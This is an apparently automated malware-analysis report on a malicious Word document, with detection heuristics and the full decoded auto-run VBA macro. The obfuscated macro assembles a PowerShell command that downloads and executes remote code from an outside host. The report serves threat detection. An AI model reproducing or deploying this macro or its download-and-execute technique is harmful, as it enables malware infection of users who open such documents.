Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a7f1c6cdde3edcaf…

MALICIOUS

Office (OOXML)

103.3 KB Created: 2021-05-05 07:35:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-05-26
MD5: dc5fa08c7e2bb959042f5572c91ada5e SHA-1: 7e79eee5f2f83ca1bfb354b346cbc706a51c0c70 SHA-256: a7f1c6cdde3edcaf245248b326356daf2eb6f0d9795eeddbaa62f84e2e259066
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing an obfuscated VBA macro with a Document_Open auto-execution routine. The macro utilizes CreateObject to instantiate 'Shell.Application', indicating an intent to execute arbitrary commands or download further payloads. The obfuscation and use of CreateObject are strong indicators of a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
asfwefsadfasfsadf
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3002 bytes
SHA-256: 2b4dd70228826f38dcf37654cb077b198933b4cf9533e110a50a6aa3a1551dfd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
asfwefsadfasfsadf
asfwqfasfsdafas
sdfqefsdafsadfwqefsadf
eifhhdfasfiedf
End Sub

Function asfwefsadfasfsadf()
  Selection.Delete Unit:=wdCharacter, Count:=1
End Function

Function asfwqfasfsdafas()
    Selection.WholeStory
    With Selection.Font
        .NameFarEast = ""
        .NameAscii = ""
        .NameOther = ""
        .Name = ""
        .Hidden = False
    End With
End Function

Function sdfqefsdafsadfwqefsadf()
    With Selection.ParagraphFormat
        .LeftIndent = CentimetersToPoints(2)
        .SpaceBeforeAuto = True
        .SpaceAfterAuto = True
    End With
    With Selection.ParagraphFormat
        .RightIndent = CentimetersToPoints(2)
        .SpaceBeforeAuto = True
        .SpaceAfterAuto = True
    End With
    Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
    Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Function

Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
Dim yhjhfjdhfdhfuesk(10) As String
dfgdfjiejfjdshaj = "tuwhnptuwhnotuwhnwtuwhnetuwhnrtuwhnstuwhnhtuwhnetuwhnltuwhnltuwhn.tuwhnetuwhnxtuwhnetuwhn"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, "tuwhn", "")
yhjhfjdhfdhfuesk(0) = "tuwhn[tuwhnstuwhnttuwhnrtuwhnituwhnntuwhngtuwhn]tuwhn$tuwhnatuwhn=tuwhn{tuwhn(tuwhnNtuwhnetuwhnwtuwhn-tuwhnOtuwhnbtuwhnjtuwhnetuwhnctuwhnttuwhn "
dfjdiafjlij = Replace(yhjhfjdhfdhfuesk(0), "tuwhn", "")
yhjhfjdhfdhfuesk(1) = "tuwhnNtuwhnetuwhnttuwhn.tuwhnWtuwhnetuwhnbtuwhnCtuwhnltuwhnituwhnetuwhnntuwhnttuwhn)tuwhn.tuwhnDtuwhnntuwhngtuwhn"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(1), "tuwhn", "")
yhjhfjdhfdhfuesk(2) = "(tuwhn'htuwhnttuwhnttuwhnptuwhn:tuwhn/tuwhn/tuwhnftuwhnatuwhnbtuwhnrtuwhnetuwhn.tuwhnmtuwhnytuwhnatuwhnrtuwhnttuwhnstuwhnotuwhnntuwhnltuwhnituwhnntuwhnetuwhn.tuwhnctuwhnotuwhnmtuwhn/tuwhnytuwhnstuwhn/tuwhnhatuwhn.tuwhnttuwhnxtuwhnt'tuwhn)"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(2), "tuwhn", "")
yhjhfjdhfdhfuesk(3) = "tuwhn}tuwhn;tuwhn$tuwhnbtuwhn=tuwhn$tuwhnatuwhn.tuwhnituwhnntuwhnstuwhnetuwhnrtuwhnttuwhn(tuwhn2tuwhn8tuwhn,tuwhn'"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(3), "tuwhn", "")
yhjhfjdhfdhfuesk(4) = "tuwhnotuwhnwtuwhnntuwhnltuwhnotuwhnatuwhndtuwhnstuwhnttuwhnrtuwhnituwhn'tuwhn)tuwhn;tuwhn$tuwhnctuwhn=tuwhnituwhn"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(4), "tuwhn", "")
yhjhfjdhfdhfuesk(5) = "etuwhnxtuwhn tuwhn$tuwhnbtuwhn;tuwhnituwhnetuwhnxtuwhn tuwhn$tuwhnctuwhn"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(5), "tuwhn", "")
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, dfjdiafjlij, "", "open", 0
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: f16cf2d6c64fd134ef23cd283aa0544e4007c65e69999b421eebb5523f234ab7

Open this report in the interactive analyzer, or submit your own file for analysis.